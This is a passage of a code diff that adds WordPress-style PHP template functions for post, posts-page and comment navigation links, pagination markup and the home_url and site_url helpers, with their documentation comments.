+function next_post_link( $format = '%link &raquo;', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
+	 echo get_next_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
+}
+
+/**
+ * Retrieves the adjacent post link.
+ *
+ * Can be either next post link or previous.
+ *
+ * @since 3.7.0
+ *
+ * @param string       $format         Link anchor format.
+ * @param string       $link           Link permalink format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs. Default empty.
+ * @param bool         $previous       Optional. Whether to display link to previous or next post. Default true.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ * @return string The link URL of the previous or next post in relation to the current post.
+ */
+function get_adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
+	if ( $previous && is_attachment() )
+		$post = get_post( get_post()->post_parent );
+	else
+		$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
+
+	if ( ! $post ) {
+		$output = '';
+	} else {
+		$title = $post->post_title;
+
+		if ( empty( $post->post_title ) )
+			$title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
+
+		/** This filter is documented in wp-includes/post-template.php */
+		$title = apply_filters( 'the_title', $title, $post->ID );
+
+		$date = mysql2date( get_option( 'date_format' ), $post->post_date );
+		$rel = $previous ? 'prev' : 'next';
+
+		$string = '<a href="' . get_permalink( $post ) . '" rel="'.$rel.'">';
+		$inlink = str_replace( '%title', $title, $link );
+		$inlink = str_replace( '%date', $date, $inlink );
+		$inlink = $string . $inlink . '</a>';
+
+		$output = str_replace( '%link', $inlink, $format );
+	}
+
+	$adjacent = $previous ? 'previous' : 'next';
+
+	/**
+	 * Filters the adjacent post link.
+	 *
+	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
+	 * of adjacency, 'next' or 'previous'.
+	 *
+	 * @since 2.6.0
+	 * @since 4.2.0 Added the `$adjacent` parameter.
+	 *
+	 * @param string  $output   The adjacent post link.
+	 * @param string  $format   Link anchor format.
+	 * @param string  $link     Link permalink format.
+	 * @param WP_Post $post     The adjacent post.
+	 * @param string  $adjacent Whether the post is previous or next.
+	 */
+	return apply_filters( "{$adjacent}_post_link", $output, $format, $link, $post, $adjacent );
+}
+
+/**
+ * Displays the adjacent post link.
+ *
+ * Can be either next post link or previous.
+ *
+ * @since 2.5.0
+ *
+ * @param string       $format         Link anchor format.
+ * @param string       $link           Link permalink format.
+ * @param bool         $in_same_term   Optional. Whether link should be in a same taxonomy term. Default false.
+ * @param array|string $excluded_terms Optional. Array or comma-separated list of excluded category IDs. Default empty.
+ * @param bool         $previous       Optional. Whether to display link to previous or next post. Default true.
+ * @param string       $taxonomy       Optional. Taxonomy, if $in_same_term is true. Default 'category'.
+ */
+function adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
+	echo get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, $previous, $taxonomy );
+}
+
+/**
+ * Retrieves the link for a page number.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int  $pagenum Optional. Page ID. Default 1.
+ * @param bool $escape  Optional. Whether to escape the URL for display, with esc_url(). Defaults to true.
+ * 	                    Otherwise, prepares the URL with esc_url_raw().
+ * @return string The link URL for the given page number.
+ */
+function get_pagenum_link($pagenum = 1, $escape = true ) {
+	global $wp_rewrite;
+
+	$pagenum = (int) $pagenum;
+
+	$request = remove_query_arg( 'paged' );
+
+	$home_root = parse_url(home_url());
+	$home_root = ( isset($home_root['path']) ) ? $home_root['path'] : '';
+	$home_root = preg_quote( $home_root, '|' );
+
+	$request = preg_replace('|^'. $home_root . '|i', '', $request);
+	$request = preg_replace('|^/+|', '', $request);
+
+	if ( !$wp_rewrite->using_permalinks() || is_admin() ) {
+		$base = trailingslashit( get_bloginfo( 'url' ) );
+
+		if ( $pagenum > 1 ) {
+			$result = add_query_arg( 'paged', $pagenum, $base . $request );
+		} else {
+			$result = $base . $request;
+		}
+	} else {
+		$qs_regex = '|\?.*?$|';
+		preg_match( $qs_regex, $request, $qs_match );
+
+		if ( !empty( $qs_match[0] ) ) {
+			$query_string = $qs_match[0];
+			$request = preg_replace( $qs_regex, '', $request );
+		} else {
+			$query_string = '';
+		}
+
+		$request = preg_replace( "|$wp_rewrite->pagination_base/\d+/?$|", '', $request);
+		$request = preg_replace( '|^' . preg_quote( $wp_rewrite->index, '|' ) . '|i', '', $request);
+		$request = ltrim($request, '/');
+
+		$base = trailingslashit( get_bloginfo( 'url' ) );
+
+		if ( $wp_rewrite->using_index_permalinks() && ( $pagenum > 1 || '' != $request ) )
+			$base .= $wp_rewrite->index . '/';
+
+		if ( $pagenum > 1 ) {
+			$request = ( ( !empty( $request ) ) ? trailingslashit( $request ) : $request ) . user_trailingslashit( $wp_rewrite->pagination_base . "/" . $pagenum, 'paged' );
+		}
+
+		$result = $base . $request . $query_string;
+	}
+
+	/**
+	 * Filters the page number link for the current request.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $result The page number link.
+	 */
+	$result = apply_filters( 'get_pagenum_link', $result );
+
+	if ( $escape )
+		return esc_url( $result );
+	else
+		return esc_url_raw( $result );
+}
+
+/**
+ * Retrieves the next posts page link.
+ *
+ * Backported from 2.1.3 to 2.0.10.
+ *
+ * @since 2.0.10
+ *
+ * @global int $paged
+ *
+ * @param int $max_page Optional. Max pages. Default 0.
+ * @return string|void The link URL for next posts page.
+ */
+function get_next_posts_page_link($max_page = 0) {
+	global $paged;
+
+	if ( !is_single() ) {
+		if ( !$paged )
+			$paged = 1;
+		$nextpage = intval($paged) + 1;
+		if ( !$max_page || $max_page >= $nextpage )
+			return get_pagenum_link($nextpage);
+	}
+}
+
+/**
+ * Displays or retrieves the next posts page link.
+ *
+ * @since 0.71
+ *
+ * @param int   $max_page Optional. Max pages. Default 0.
+ * @param bool  $echo     Optional. Whether to echo the link. Default true.
+ * @return string|void The link URL for next posts page if `$echo = false`.
+ */
+function next_posts( $max_page = 0, $echo = true ) {
+	$output = esc_url( get_next_posts_page_link( $max_page ) );
+
+	if ( $echo )
+		echo $output;
+	else
+		return $output;
+}
+
+/**
+ * Retrieves the next posts page link.
+ *
+ * @since 2.7.0
+ *
+ * @global int      $paged
+ * @global WP_Query $wp_query
+ *
+ * @param string $label    Content for link text.
+ * @param int    $max_page Optional. Max pages. Default 0.
+ * @return string|void HTML-formatted next posts page link.
+ */
+function get_next_posts_link( $label = null, $max_page = 0 ) {
+	global $paged, $wp_query;
+
+	if ( !$max_page )
+		$max_page = $wp_query->max_num_pages;
+
+	if ( !$paged )
+		$paged = 1;
+
+	$nextpage = intval($paged) + 1;
+
+	if ( null === $label )
+		$label = __( 'Next Page &raquo;' );
+
+	if ( !is_single() && ( $nextpage <= $max_page ) ) {
+		/**
+		 * Filters the anchor tag attributes for the next posts page link.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param string $attributes Attributes for the anchor tag.
+		 */
+		$attr = apply_filters( 'next_posts_link_attributes', '' );
+
+		return '<a href="' . next_posts( $max_page, false ) . "\" $attr>" . preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label) . '</a>';
+	}
+}
+
+/**
+ * Displays the next posts page link.
+ *
+ * @since 0.71
+ *
+ * @param string $label    Content for link text.
+ * @param int    $max_page Optional. Max pages. Default 0.
+ */
+function next_posts_link( $label = null, $max_page = 0 ) {
+	echo get_next_posts_link( $label, $max_page );
+}
+
+/**
+ * Retrieves the previous posts page link.
+ *
+ * Will only return string, if not on a single page or post.
+ *
+ * Backported to 2.0.10 from 2.1.3.
+ *
+ * @since 2.0.10
+ *
+ * @global int $paged
+ *
+ * @return string|void The link for the previous posts page.
+ */
+function get_previous_posts_page_link() {
+	global $paged;
+
+	if ( !is_single() ) {
+		$nextpage = intval($paged) - 1;
+		if ( $nextpage < 1 )
+			$nextpage = 1;
+		return get_pagenum_link($nextpage);
+	}
+}
+
+/**
+ * Displays or retrieves the previous posts page link.
+ *
+ * @since 0.71
+ *
+ * @param bool $echo Optional. Whether to echo the link. Default true.
+ * @return string|void The previous posts page link if `$echo = false`.
+ */
+function previous_posts( $echo = true ) {
+	$output = esc_url( get_previous_posts_page_link() );
+
+	if ( $echo )
+		echo $output;
+	else
+		return $output;
+}
+
+/**
+ * Retrieves the previous posts page link.
+ *
+ * @since 2.7.0
+ *
+ * @global int $paged
+ *
+ * @param string $label Optional. Previous page link text.
+ * @return string|void HTML-formatted previous page link.
+ */
+function get_previous_posts_link( $label = null ) {
+	global $paged;
+
+	if ( null === $label )
+		$label = __( '&laquo; Previous Page' );
+
+	if ( !is_single() && $paged > 1 ) {
+		/**
+		 * Filters the anchor tag attributes for the previous posts page link.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param string $attributes Attributes for the anchor tag.
+		 */
+		$attr = apply_filters( 'previous_posts_link_attributes', '' );
+		return '<a href="' . previous_posts( false ) . "\" $attr>". preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label ) .'</a>';
+	}
+}
+
+/**
+ * Displays the previous posts page link.
+ *
+ * @since 0.71
+ *
+ * @param string $label Optional. Previous page link text.
+ */
+function previous_posts_link( $label = null ) {
+	echo get_previous_posts_link( $label );
+}
+
+/**
+ * Retrieves the post pages link navigation for previous and next pages.
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Query $wp_query
+ *
+ * @param string|array $args {
+ *     Optional. Arguments to build the post pages link navigation.
+ *
+ *     @type string $sep      Separator character. Default '&#8212;'.
+ *     @type string $prelabel Link text to display for the previous page link.
+ *                            Default '&laquo; Previous Page'.
+ *     @type string $nxtlabel Link text to display for the next page link.
+ *                            Default 'Next Page &raquo;'.
+ * }
+ * @return string The posts link navigation.
+ */
+function get_posts_nav_link( $args = array() ) {
+	global $wp_query;
+
+	$return = '';
+
+	if ( !is_singular() ) {
+		$defaults = array(
+			'sep' => ' &#8212; ',
+			'prelabel' => __('&laquo; Previous Page'),
+			'nxtlabel' => __('Next Page &raquo;'),
+		);
+		$args = wp_parse_args( $args, $defaults );
+
+		$max_num_pages = $wp_query->max_num_pages;
+		$paged = get_query_var('paged');
+
+		//only have sep if there's both prev and next results
+		if ($paged < 2 || $paged >= $max_num_pages) {
+			$args['sep'] = '';
+		}
+
+		if ( $max_num_pages > 1 ) {
+			$return = get_previous_posts_link($args['prelabel']);
+			$return .= preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $args['sep']);
+			$return .= get_next_posts_link($args['nxtlabel']);
+		}
+	}
+	return $return;
+
+}
+
+/**
+ * Displays the post pages link navigation for previous and next pages.
+ *
+ * @since 0.71
+ *
+ * @param string $sep      Optional. Separator for posts navigation links. Default empty.
+ * @param string $prelabel Optional. Label for previous pages. Default empty.
+ * @param string $nxtlabel Optional Label for next pages. Default empty.
+ */
+function posts_nav_link( $sep = '', $prelabel = '', $nxtlabel = '' ) {
+	$args = array_filter( compact('sep', 'prelabel', 'nxtlabel') );
+	echo get_posts_nav_link($args);
+}
+
+/**
+ * Retrieves the navigation to next/previous post, when applicable.
+ *
+ * @since 4.1.0
+ * @since 4.4.0 Introduced the `in_same_term`, `excluded_terms`, and `taxonomy` arguments.
+ *
+ * @param array $args {
+ *     Optional. Default post navigation arguments. Default empty array.
+ *
+ *     @type string       $prev_text          Anchor text to display in the previous post link. Default '%title'.
+ *     @type string       $next_text          Anchor text to display in the next post link. Default '%title'.
+ *     @type bool         $in_same_term       Whether link should be in a same taxonomy term. Default false.
+ *     @type array|string $excluded_terms     Array or comma-separated list of excluded term IDs. Default empty.
+ *     @type string       $taxonomy           Taxonomy, if `$in_same_term` is true. Default 'category'.
+ *     @type string       $screen_reader_text Screen reader text for nav element. Default 'Post navigation'.
+ * }
+ * @return string Markup for post links.
+ */
+function get_the_post_navigation( $args = array() ) {
+	$args = wp_parse_args( $args, array(
+		'prev_text'          => '%title',
+		'next_text'          => '%title',
+		'in_same_term'       => false,
+		'excluded_terms'     => '',
+		'taxonomy'           => 'category',
+		'screen_reader_text' => __( 'Post navigation' ),
+	) );
+
+	$navigation = '';
+
+	$previous = get_previous_post_link(
+		'<div class="nav-previous">%link</div>',
+		$args['prev_text'],
+		$args['in_same_term'],
+		$args['excluded_terms'],
+		$args['taxonomy']
+	);
+
+	$next = get_next_post_link(
+		'<div class="nav-next">%link</div>',
+		$args['next_text'],
+		$args['in_same_term'],
+		$args['excluded_terms'],
+		$args['taxonomy']
+	);
+
+	// Only add markup if there's somewhere to navigate to.
+	if ( $previous || $next ) {
+		$navigation = _navigation_markup( $previous . $next, 'post-navigation', $args['screen_reader_text'] );
+	}
+
+	return $navigation;
+}
+
+/**
+ * Displays the navigation to next/previous post, when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @param array $args Optional. See get_the_post_navigation() for available arguments.
+ *                    Default empty array.
+ */
+function the_post_navigation( $args = array() ) {
+	echo get_the_post_navigation( $args );
+}
+
+/**
+ * Returns the navigation to next/previous set of posts, when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @global WP_Query $wp_query WordPress Query object.
+ *
+ * @param array $args {
+ *     Optional. Default posts navigation arguments. Default empty array.
+ *
+ *     @type string $prev_text          Anchor text to display in the previous posts link.
+ *                                      Default 'Older posts'.
+ *     @type string $next_text          Anchor text to display in the next posts link.
+ *                                      Default 'Newer posts'.
+ *     @type string $screen_reader_text Screen reader text for nav element.
+ *                                      Default 'Posts navigation'.
+ * }
+ * @return string Markup for posts links.
+ */
+function get_the_posts_navigation( $args = array() ) {
+	$navigation = '';
+
+	// Don't print empty markup if there's only one page.
+	if ( $GLOBALS['wp_query']->max_num_pages > 1 ) {
+		$args = wp_parse_args( $args, array(
+			'prev_text'          => __( 'Older posts' ),
+			'next_text'          => __( 'Newer posts' ),
+			'screen_reader_text' => __( 'Posts navigation' ),
+		) );
+
+		$next_link = get_previous_posts_link( $args['next_text'] );
+		$prev_link = get_next_posts_link( $args['prev_text'] );
+
+		if ( $prev_link ) {
+			$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
+		}
+
+		if ( $next_link ) {
+			$navigation .= '<div class="nav-next">' . $next_link . '</div>';
+		}
+
+		$navigation = _navigation_markup( $navigation, 'posts-navigation', $args['screen_reader_text'] );
+	}
+
+	return $navigation;
+}
+
+/**
+ * Displays the navigation to next/previous set of posts, when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @param array $args Optional. See get_the_posts_navigation() for available arguments.
+ *                    Default empty array.
+ */
+function the_posts_navigation( $args = array() ) {
+	echo get_the_posts_navigation( $args );
+}
+
+/**
+ * Retrieves a paginated navigation to next/previous set of posts, when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @param array $args {
+ *     Optional. Default pagination arguments, see paginate_links().
+ *
+ *     @type string $screen_reader_text Screen reader text for navigation element.
+ *                                      Default 'Posts navigation'.
+ * }
+ * @return string Markup for pagination links.
+ */
+function get_the_posts_pagination( $args = array() ) {
+	$navigation = '';
+
+	// Don't print empty markup if there's only one page.
+	if ( $GLOBALS['wp_query']->max_num_pages > 1 ) {
+		$args = wp_parse_args( $args, array(
+			'mid_size'           => 1,
+			'prev_text'          => _x( 'Previous', 'previous set of posts' ),
+			'next_text'          => _x( 'Next', 'next set of posts' ),
+			'screen_reader_text' => __( 'Posts navigation' ),
+		) );
+
+		// Make sure we get a string back. Plain is the next best thing.
+		if ( isset( $args['type'] ) && 'array' == $args['type'] ) {
+			$args['type'] = 'plain';
+		}
+
+		// Set up paginated links.
+		$links = paginate_links( $args );
+
+		if ( $links ) {
+			$navigation = _navigation_markup( $links, 'pagination', $args['screen_reader_text'] );
+		}
+	}
+
+	return $navigation;
+}
+
+/**
+ * Displays a paginated navigation to next/previous set of posts, when applicable.
+ *
+ * @since 4.1.0
+ *
+ * @param array $args Optional. See get_the_posts_pagination() for available arguments.
+ *                    Default empty array.
+ */
+function the_posts_pagination( $args = array() ) {
+	echo get_the_posts_pagination( $args );
+}
+
+/**
+ * Wraps passed links in navigational markup.
+ *
+ * @since 4.1.0
+ * @access private
+ *
+ * @param string $links              Navigational links.
+ * @param string $class              Optional. Custom class for nav element. Default: 'posts-navigation'.
+ * @param string $screen_reader_text Optional. Screen reader text for nav element. Default: 'Posts navigation'.
+ * @return string Navigation template tag.
+ */
+function _navigation_markup( $links, $class = 'posts-navigation', $screen_reader_text = '' ) {
+	if ( empty( $screen_reader_text ) ) {
+		$screen_reader_text = __( 'Posts navigation' );
+	}
+
+	$template = '
+	<nav class="navigation %1$s" role="navigation">
+		<h2 class="screen-reader-text">%2$s</h2>
+		<div class="nav-links">%3$s</div>
+	</nav>';
+
+	/**
+	 * Filters the navigation markup template.
+	 *
+	 * Note: The filtered template HTML must contain specifiers for the navigation
+	 * class (%1$s), the screen-reader-text value (%2$s), and placement of the
+	 * navigation links (%3$s):
+	 *
+	 *     <nav class="navigation %1$s" role="navigation">
+	 *         <h2 class="screen-reader-text">%2$s</h2>
+	 *         <div class="nav-links">%3$s</div>
+	 *     </nav>
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $template The default template.
+	 * @param string $class    The class passed by the calling function.
+	 * @return string Navigation template.
+	 */
+	$template = apply_filters( 'navigation_markup_template', $template, $class );
+
+	return sprintf( $template, sanitize_html_class( $class ), esc_html( $screen_reader_text ), $links );
+}
+
+/**
+ * Retrieves the comments page number link.
+ *
+ * @since 2.7.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int $pagenum  Optional. Page number. Default 1.
+ * @param int $max_page Optional. The maximum number of comment pages. Default 0.
+ * @return string The comments page number link URL.
+ */
+function get_comments_pagenum_link( $pagenum = 1, $max_page = 0 ) {
+	global $wp_rewrite;
+
+	$pagenum = (int) $pagenum;
+
+	$result = get_permalink();
+
+	if ( 'newest' == get_option('default_comments_page') ) {
+		if ( $pagenum != $max_page ) {
+			if ( $wp_rewrite->using_permalinks() )
+				$result = user_trailingslashit( trailingslashit($result) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged');
+			else
+				$result = add_query_arg( 'cpage', $pagenum, $result );
+		}
+	} elseif ( $pagenum > 1 ) {
+		if ( $wp_rewrite->using_permalinks() )
+			$result = user_trailingslashit( trailingslashit($result) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged');
+		else
+			$result = add_query_arg( 'cpage', $pagenum, $result );
+	}
+
+	$result .= '#comments';
+
+	/**
+	 * Filters the comments page number link for the current request.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $result The comments page number link.
+	 */
+	return apply_filters( 'get_comments_pagenum_link', $result );
+}
+
+/**
+ * Retrieves the link to the next comments page.
+ *
+ * @since 2.7.1
+ *
+ * @global WP_Query $wp_query
+ *
+ * @param string $label    Optional. Label for link text. Default empty.
+ * @param int    $max_page Optional. Max page. Default 0.
+ * @return string|void HTML-formatted link for the next page of comments.
+ */
+function get_next_comments_link( $label = '', $max_page = 0 ) {
+	global $wp_query;
+
+	if ( ! is_singular() )
+		return;
+
+	$page = get_query_var('cpage');
+
+	if ( ! $page ) {
+		$page = 1;
+	}
+
+	$nextpage = intval($page) + 1;
+
+	if ( empty($max_page) )
+		$max_page = $wp_query->max_num_comment_pages;
+
+	if ( empty($max_page) )
+		$max_page = get_comment_pages_count();
+
+	if ( $nextpage > $max_page )
+		return;
+
+	if ( empty($label) )
+		$label = __('Newer Comments &raquo;');
+
+	/**
+	 * Filters the anchor tag attributes for the next comments page link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $attributes Attributes for the anchor tag.
+	 */
+	return '<a href="' . esc_url( get_comments_pagenum_link( $nextpage, $max_page ) ) . '" ' . apply_filters( 'next_comments_link_attributes', '' ) . '>'. preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label) .'</a>';
+}
+
+/**
+ * Displays the link to the next comments page.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label    Optional. Label for link text. Default empty.
+ * @param int    $max_page Optional. Max page. Default 0.
+ */
+function next_comments_link( $label = '', $max_page = 0 ) {
+	echo get_next_comments_link( $label, $max_page );
+}
+
+/**
+ * Retrieves the link to the previous comments page.
+ *
+ * @since 2.7.1
+ *
+ * @param string $label Optional. Label for comments link text. Default empty.
+ * @return string|void HTML-formatted link for the previous page of comments.
+ */
+function get_previous_comments_link( $label = '' ) {
+	if ( ! is_singular() )
+		return;
+
+	$page = get_query_var('cpage');
+
+	if ( intval($page) <= 1 )
+		return;
+
+	$prevpage = intval($page) - 1;
+
+	if ( empty($label) )
+		$label = __('&laquo; Older Comments');
+
+	/**
+	 * Filters the anchor tag attributes for the previous comments page link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $attributes Attributes for the anchor tag.
+	 */
+	return '<a href="' . esc_url( get_comments_pagenum_link( $prevpage ) ) . '" ' . apply_filters( 'previous_comments_link_attributes', '' ) . '>' . preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label) .'</a>';
+}
+
+/**
+ * Displays the link to the previous comments page.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label Optional. Label for comments link text. Default empty.
+ */
+function previous_comments_link( $label = '' ) {
+	echo get_previous_comments_link( $label );
+}
+
+/**
+ * Displays or retrieves pagination links for the comments on the current post.
+ *
+ * @see paginate_links()
+ * @since 2.7.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string|array $args Optional args. See paginate_links(). Default empty array.
+ * @return string|void Markup for pagination links.
+ */
+function paginate_comments_links( $args = array() ) {
+	global $wp_rewrite;
+
+	if ( ! is_singular() )
+		return;
+
+	$page = get_query_var('cpage');
+	if ( !$page )
+		$page = 1;
+	$max_page = get_comment_pages_count();
+	$defaults = array(
+		'base' => add_query_arg( 'cpage', '%#%' ),
+		'format' => '',
+		'total' => $max_page,
+		'current' => $page,
+		'echo' => true,
+		'add_fragment' => '#comments'
+	);
+	if ( $wp_rewrite->using_permalinks() )
+		$defaults['base'] = user_trailingslashit(trailingslashit(get_permalink()) . $wp_rewrite->comments_pagination_base . '-%#%', 'commentpaged');
+
+	$args = wp_parse_args( $args, $defaults );
+	$page_links = paginate_links( $args );
+
+	if ( $args['echo'] )
+		echo $page_links;
+	else
+		return $page_links;
+}
+
+/**
+ * Retrieves navigation to next/previous set of comments, when applicable.
+ *
+ * @since 4.4.0
+ *
+ * @param array $args {
+ *     Optional. Default comments navigation arguments.
+ *
+ *     @type string $prev_text          Anchor text to display in the previous comments link.
+ *                                      Default 'Older comments'.
+ *     @type string $next_text          Anchor text to display in the next comments link.
+ *                                      Default 'Newer comments'.
+ *     @type string $screen_reader_text Screen reader text for nav element. Default 'Comments navigation'.
+ * }
+ * @return string Markup for comments links.
+ */
+function get_the_comments_navigation( $args = array() ) {
+	$navigation = '';
+
+	// Are there comments to navigate through?
+	if ( get_comment_pages_count() > 1 ) {
+		$args = wp_parse_args( $args, array(
+			'prev_text'          => __( 'Older comments' ),
+			'next_text'          => __( 'Newer comments' ),
+			'screen_reader_text' => __( 'Comments navigation' ),
+		) );
+
+		$prev_link = get_previous_comments_link( $args['prev_text'] );
+		$next_link = get_next_comments_link( $args['next_text'] );
+
+		if ( $prev_link ) {
+			$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
+		}
+
+		if ( $next_link ) {
+			$navigation .= '<div class="nav-next">' . $next_link . '</div>';
+		}
+
+		$navigation = _navigation_markup( $navigation, 'comment-navigation', $args['screen_reader_text'] );
+	}
+
+	return $navigation;
+}
+
+/**
+ * Displays navigation to next/previous set of comments, when applicable.
+ *
+ * @since 4.4.0
+ *
+ * @param array $args See get_the_comments_navigation() for available arguments. Default empty array.
+ */
+function the_comments_navigation( $args = array() ) {
+	echo get_the_comments_navigation( $args );
+}
+
+/**
+ * Retrieves a paginated navigation to next/previous set of comments, when applicable.
+ *
+ * @since 4.4.0
+ *
+ * @see paginate_comments_links()
+ *
+ * @param array $args {
+ *     Optional. Default pagination arguments.
+ *
+ *     @type string $screen_reader_text Screen reader text for nav element. Default 'Comments navigation'.
+ * }
+ * @return string Markup for pagination links.
+ */
+function get_the_comments_pagination( $args = array() ) {
+	$navigation = '';
+	$args       = wp_parse_args( $args, array(
+		'screen_reader_text' => __( 'Comments navigation' ),
+	) );
+	$args['echo'] = false;
+
+	// Make sure we get a string back. Plain is the next best thing.
+	if ( isset( $args['type'] ) && 'array' == $args['type'] ) {
+		$args['type'] = 'plain';
+	}
+
+	$links = paginate_comments_links( $args );
+
+	if ( $links ) {
+		$navigation = _navigation_markup( $links, 'comments-pagination', $args['screen_reader_text'] );
+	}
+
+	return $navigation;
+}
+
+/**
+ * Displays a paginated navigation to next/previous set of comments, when applicable.
+ *
+ * @since 4.4.0
+ *
+ * @param array $args See get_the_comments_pagination() for available arguments. Default empty array.
+ */
+function the_comments_pagination( $args = array() ) {
+	echo get_the_comments_pagination( $args );
+}
+
+/**
+ * Retrieves the URL for the current site where the front end is accessible.
+ *
+ * Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
+ * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
+ * If `$scheme` is 'http' or 'https', is_ssl() is overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param  string      $path   Optional. Path relative to the home URL. Default empty.
+ * @param  string|null $scheme Optional. Scheme to give the home URL context. Accepts
+ *                             'http', 'https', 'relative', 'rest', or null. Default null.
+ * @return string Home URL link with optional path appended.
+ */
+function home_url( $path = '', $scheme = null ) {
+	return get_home_url( null, $path, $scheme );
+}
+
+/**
+ * Retrieves the URL for a given site where the front end is accessible.
+ *
+ * Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
+ * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
+ * If `$scheme` is 'http' or 'https', is_ssl() is overridden.
+ *
+ * @since 3.0.0
+ *
+ * @global string $pagenow
+ *
+ * @param  int         $blog_id Optional. Site ID. Default null (current site).
+ * @param  string      $path    Optional. Path relative to the home URL. Default empty.
+ * @param  string|null $scheme  Optional. Scheme to give the home URL context. Accepts
+ *                              'http', 'https', 'relative', 'rest', or null. Default null.
+ * @return string Home URL link with optional path appended.
+ */
+function get_home_url( $blog_id = null, $path = '', $scheme = null ) {
+	global $pagenow;
+
+	$orig_scheme = $scheme;
+
+	if ( empty( $blog_id ) || !is_multisite() ) {
+		$url = get_option( 'home' );
+	} else {
+		switch_to_blog( $blog_id );
+		$url = get_option( 'home' );
+		restore_current_blog();
+	}
+
+	if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) ) {
+		if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $pagenow )
+			$scheme = 'https';
+		else
+			$scheme = parse_url( $url, PHP_URL_SCHEME );
+	}
+
+	$url = set_url_scheme( $url, $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= '/' . ltrim( $path, '/' );
+
+	/**
+	 * Filters the home URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string      $url         The complete home URL including scheme and path.
+	 * @param string      $path        Path relative to the home URL. Blank string if no path is specified.
+	 * @param string|null $orig_scheme Scheme to give the home URL context. Accepts 'http', 'https',
+	 *                                 'relative', 'rest', or null.
+	 * @param int|null    $blog_id     Site ID, or null for the current site.
+	 */
+	return apply_filters( 'home_url', $url, $path, $orig_scheme, $blog_id );
+}
+
+/**
+ * Retrieves the URL for the current site where WordPress application files
+ * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
+ *
+ * Returns the 'site_url' option with the appropriate protocol, 'https' if
+ * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
+ * overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param string $path   Optional. Path relative to the site URL. Default empty.
+ * @param string $scheme Optional. Scheme to give the site URL context. See set_url_scheme().
+ * @return string Site URL link with optional path appended.
+ */
+function site_url( $path = '', $scheme = null ) {
+	return get_site_url( null, $path, $scheme );
+}
+
+/**
+ * Retrieves the URL for a given site where WordPress application files
+ * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
+ *
+ * Returns the 'site_url' option with the appropriate protocol, 'https' if
+ * is_ssl() and 'http' otherwise. If `$scheme` is 'http' or 'https',
+ * `is_ssl()` is overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param int    $blog_id Optional. Site ID. Default null (current site).
+ * @param string $path    Optional. Path relative to the site URL. Default empty.
+ * @param string $scheme  Optional. Scheme to give the site URL context. Accepts
+ *                        'http', 'https', 'login', 'login_post', 'admin', or
+ *                        'relative'. Default null.
+ * @return string Site URL link with optional path appended.
+ */
+function get_site_url( $blog_id = null, $path = '', $scheme = null ) {
+	if ( empty( $blog_id ) || !is_multisite() ) {
+		$url = get_option( 'siteurl' );
+	} else {
+		switch_to_blog( $blog_id );
+		$url = get_option( 'siteurl' );
+		restore_current_blog();
+	}
+
+	$url = set_url_scheme( $url, $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= '/' . ltrim( $path, '/' );
+
+	/**
+	 * Filters the site URL.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string      $url     The complete site URL including scheme and path.
+	 * @param string      $path    Path relative to the site URL. Blank string if no path is specified.
+	 * @param string|null $scheme  Scheme to give the site URL context. Accepts 'http', 'https', 'login',
+	 *                             'login_post', 'admin', 'relative' or null.
+	 * @param int|null    $blog_id Site ID, or null for the current site.
+	 */
+	return apply_filters( 'site_url', $url, $path, $scheme, $blog_id );
+}
+
+/**
+ * Retrieves the URL to the admin area for the current site.
+ *
+ * @since 2.6.0
+ *
+ * @param string $path   Optional path relative to the admin URL.
